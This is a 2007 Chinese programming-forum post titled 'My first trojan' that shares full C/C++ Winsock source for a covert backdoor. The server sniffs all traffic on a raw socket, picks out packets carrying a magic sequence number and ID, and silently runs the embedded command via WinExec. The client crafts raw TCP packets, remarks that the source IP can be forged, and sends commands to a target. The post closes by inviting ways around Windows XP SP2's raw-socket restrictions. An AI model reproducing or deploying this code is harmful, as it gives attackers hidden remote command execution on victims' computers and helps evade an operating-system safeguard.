我的第一个木马
我的第一个木马帖子主题:我的第一个木马
帖子分类:程序设计
涉及内容:C/C++ WINSOCK
帖子作者:aneasystone(原作者)
相关参考:refdom《基于嗅探原理的原始套接字木马》
著名: 这个程序(本人改过) 原程序在最先面
//trojanserver.cpp
[Copy to clipboard] [ - ]CODE:
#include "mysock.h"
#define MAX_PACKET_SIZE 65536
#define SEQ_IDENTITY 12345
#define TROJAN_ID_IDENTITY 6789
//trojan packet header
typedef struct trojanhdr
{
unsigned long trojan_id;
unsigned short trojan_len;
}TROJANHEADER, *PTROJANHEADER;
//get local ip
unsigned long GetLocalIP()
{
char szLocalIP[20] = {0};
char szHostName[128+1] = "\0";
hostent *phe;
int i;
if( gethostname(szHostName, 128 ) == 0 ) {
// Get host adresses
phe = gethostbyname(szHostName);
for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
{
sprintf(szLocalIP, "%d.%d.%d.%d",
(UINT)((UCHAR*)phe->h_addr_list[i])[0],
(UINT)((UCHAR*)phe->h_addr_list[i])[1],
(UINT)((UCHAR*)phe->h_addr_list[i])[2],
(UINT)((UCHAR*)phe->h_addr_list[i])[3]);
}
}
else
return 0;
return inet_addr(szLocalIP);
}
int DecodeData(char* pBuffer)
{
PIPHEADER pIPHeader = (PIPHEADER)pBuffer;
PTCPHEADER pTCPHeader = (PTCPHEADER)(pBuffer + sizeof(IPHEADER));
PTROJANHEADER pTrojanHeader = (PTROJANHEADER)(pBuffer + sizeof(IPHEADER) + sizeof(TCPHEADER));
//check tcp packet
if (pIPHeader->proto != IPPROTO_TCP)
return -1;
//check seq
if (ntohs((unsigned short)(pTCPHeader->seq)) != SEQ_IDENTITY)
return -1;
//check ident
if (ntohs((unsigned short)(pTrojanHeader->trojan_id)) != TROJAN_ID_IDENTITY)
return -1;
//command length
unsigned short cmdlen = pTrojanHeader->trojan_len;
if (0 == cmdlen)
return -1;
//printf("OK!\n"); //it is the packet we want!
char * pCommand = new char[cmdlen + 1];
memset(pCommand, 0, cmdlen + 1);
memcpy(pCommand, pBuffer + sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), cmdlen);
//execute command
int nRet = WinExec(pCommand, SW_HIDE);
if (nRet > 31)
{
//WinExec Successfully!
//return the message we want...
}
return 0;
}
int SniffThread()
{
int nRet;
SOCKADDR_IN addr_in;
SOCKET rawSocket;
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
//create a raw socket
rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (INVALID_SOCKET == rawSocket)
{
printf("socket error : %d\n",WSAGetLastError());
closesocket(rawSocket);
return -1;
}
addr_in.sin_family = AF_INET;
addr_in.sin_port = INADDR_ANY;
addr_in.sin_addr.S_un.S_addr = GetLocalIP();
nRet = bind(rawSocket, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (SOCKET_ERROR == nRet)
{
printf("bind error : %d\n", WSAGetLastError());
closesocket(rawSocket);
return -1;
}
//socket for sniffer
nRet = WSAIoctl(rawSocket,
SIO_RCVALL,
&dwBufferInLen,
sizeof(dwBufferInLen),
&dwBufferLen,
sizeof(dwBufferLen),
&dwBytesReturned,
NULL,
NULL);
if (SOCKET_ERROR == nRet)
{
printf("wsaioctl error : %d\n", WSAGetLastError());
closesocket(rawSocket);
return -1;
}
//start sniffing
char* pBuffer = new char[MAX_PACKET_SIZE];
while(1)
{
memset(pBuffer, 0, MAX_PACKET_SIZE);
nRet = recv(rawSocket, pBuffer, MAX_PACKET_SIZE, 0);
if (SOCKET_ERROR == nRet)
{
printf("recv error : %d\n", WSAGetLastError());
free(pBuffer);
closesocket(rawSocket);
return -1;
}
if (nRet < 46)
continue;
//decode the data
DecodeData(pBuffer);
}
free(pBuffer);
closesocket(rawSocket);
return 0;
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
{
printf("WSAStartup Error:%d\n", WSAGetLastError());
return -1;
}
//start sniffer
SniffThread();
//clean up
WSACleanup();
return 0;
}
//trojanclient.cpp
[Copy to clipboard] [ - ]CODE:
#include "mysock.h"
#include <WS2TCPIP.H>
#define MAX_PACKET_SIZE 65536
#define SEQ_IDENTITY 12345
#define TROJAN_ID_IDENTITY 6789
#define SERVER_PORT 80
#define LOCAL_PORT 1234
//trojan packet header
typedef struct trojanhdr
{
unsigned long trojan_id;
unsigned short trojan_len;
}TROJANHEADER, *PTROJANHEADER;
//calculate checksum
unsigned short checksum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while(size >1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (unsigned short)(~cksum);
}
//get local ip
unsigned long GetLocalIP()
{
char szLocalIP[20] = {0};
char szHostName[128+1] = "\0";
hostent *phe;
int i;
if( gethostname(szHostName, 128 ) == 0 ) {
// Get host adresses
phe = gethostbyname(szHostName);
for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
{
sprintf(szLocalIP, "%d.%d.%d.%d",
(UINT)((UCHAR*)phe->h_addr_list[i])[0],
(UINT)((UCHAR*)phe->h_addr_list[i])[1],
(UINT)((UCHAR*)phe->h_addr_list[i])[2],
(UINT)((UCHAR*)phe->h_addr_list[i])[3]);
}
}
else
return 0;
return inet_addr(szLocalIP);
}
int main(int argc, char* argv[])
{
int cmdlen;
char szDataBuf[MAX_PACKET_SIZE] = {0};
BOOL bOption;
WSADATA WSAData;
SOCKET nSock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
TROJANHEADER trojanHeader;
if (argc != 3)
{
printf("usage: %s targetip command",argv[0]);
return -1;
}
//get the command will execute
cmdlen = strlen(argv[2]);
char * pCommand = new char[cmdlen + 2];
memset(pCommand, 0, cmdlen + 2);
memcpy(pCommand, argv[2], cmdlen);
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
{
printf("wsastartup error : %d\n", WSAGetLastError());
return -1;
}
nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (INVALID_SOCKET == nSock)
{
printf("socket error : %d\n", WSAGetLastError());
free(pCommand);
closesocket(nSock);
WSACleanup();
return -1;
}
int nRet = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption));
if (SOCKET_ERROR == nRet)
{
printf("setsockopt error : %d\n", WSAGetLastError());
free(pCommand);
closesocket(nSock);
WSACleanup();
return -1;
}
//fill in ip header
ipHeader.ver_and_len = (4 << 4) | (sizeof(IPHEADER) / sizeof(unsigned long));
ipHeader.tos = 0;
ipHeader.total_len = htons(sizeof(IPHEADER) + sizeof(TCPHEADER));
ipHeader.ident = 0;
ipHeader.frag_and_flags = 0;
ipHeader.ttl = 128;
ipHeader.proto = IPPROTO_TCP;
ipHeader.checksum = 0;
ipHeader.sourceip = GetLocalIP(); //of course you can forge an ip
ipHeader.destinationip = inet_addr(argv[1]);
memcpy(szDataBuf, &ipHeader, sizeof(IPHEADER));
memcpy(szDataBuf + sizeof(IPHEADER), &tcpHeader, sizeof(TCPHEADER));
memset(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER), 0, 4);
ipHeader.checksum = checksum((unsigned short *)szDataBuf, sizeof(IPHEADER) + sizeof(TCPHEADER));
//fill in tcp header
tcpHeader.sourceport = htons(LOCAL_PORT); //make no difference
tcpHeader.destinationport = htons(SERVER_PORT); //make no difference
tcpHeader.seq = htons(SEQ_IDENTITY); //trojan seq ident
tcpHeader.ack = 345678;
tcpHeader.len_res_flag = (sizeof(TCPHEADER)/4 << 12) | (0 << 6) | SYN;
tcpHeader.windowsize = 512;
tcpHeader.urgenpointer = 0;
tcpHeader.checksum = 0;
//fill in trojan header
trojanHeader.trojan_id = htons(TROJAN_ID_IDENTITY);
trojanHeader.trojan_len = cmdlen; //fill in psd header (use for calculate checksum)
psdHeader.sourceip = ipHeader.sourceip;
psdHeader.destinationip = ipHeader.destinationip;
psdHeader.mbz = 0;
psdHeader.proto = IPPROTO_TCP;
psdHeader.tcp_len = htons(sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen);
//calculate checksum
memcpy(szDataBuf, &psdHeader, sizeof(PSDHEADER));
memcpy(szDataBuf + sizeof(PSDHEADER), &tcpHeader, sizeof(TCPHEADER));
memcpy(szDataBuf + sizeof(PSDHEADER) + sizeof(TCPHEADER), &trojanHeader, sizeof(TROJANHEADER));
memcpy(szDataBuf + sizeof(PSDHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), pCommand, cmdlen);
tcpHeader.checksum = checksum((unsigned short *)szDataBuf, sizeof(PSDHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen);
int total_len = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen;
memset(szDataBuf, 0, total_len);
//fill in the buffer to send
memcpy(szDataBuf, &ipHeader, sizeof(IPHEADER));
memcpy(szDataBuf + sizeof(IPHEADER), &tcpHeader, sizeof(TCPHEADER));
memcpy(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER), &trojanHeader, sizeof(TROJANHEADER));
memcpy(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), pCommand, cmdlen);
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(SERVER_PORT);
addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
//send a command
printf("Start to send command...\n");
nRet = sendto(nSock,
szDataBuf,
sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen,
0,
(struct sockaddr*)&addr_in,
sizeof(addr_in));
if (SOCKET_ERROR == nRet)
{
printf("sendto error : %d\n", WSAGetLastError());
}
else
printf("Send OK!\n");
free(pCommand);
closesocket(nSock);
WSACleanup();
return 0;
}
最近写了一些WINSOCK程序 每个都要定义TCP IP这些报文的结构
实在很烦 于是自己写了个
//mysock.h
[Copy to clipboard] [ - ]CODE:
#include<stdio.h>
#include<winsock2.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32")
//standard tcp flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01
//ip header
typedef struct ip_hdr
{
unsigned char ver_and_len;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned long sourceip;
unsigned long destinationip;
}IPHEADER,*PIPHEADER;
//psd header
typedef struct psd_hdr
{
unsigned long sourceip;
unsigned long destinationip;
unsigned char mbz;
unsigned char proto;
unsigned short tcp_len;
}PSDHEADER,*PPSDHEADER;
//tcp header
typedef struct tcp_hdr
{
unsigned short sourceport;
unsigned short destinationport;
unsigned long seq;
unsigned long ack;
unsigned short len_res_flag;
unsigned short windowsize;
unsigned short checksum;
unsigned short urgenpointer;
}TCPHEADER,*PTCPHEADER;
PS:程序有很多不足点 最致命的是程序在XP SP2以后版本中运行会出现sendto error
我查了好久相关资料 最后终于在SP2的说明文档中找到了原因
QUOTE:
What new functionality is added to this feature in Windows XP Service Pack 2?
Restricted traffic over raw sockets
Detailed description
A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
TCP data cannot be sent over raw sockets.
UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped.
Why is this change important? What threats does it help mitigate?
This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
于是在 2K的虚拟机里调试 终于成功...
关于如何解决在SP2下发送原始套接字 有兴趣朋友可以讨论下 ~
[[i] 本帖最后由 fbbm648 于 2007-12-15 21:33 编辑 [/i]]
页:
[1]
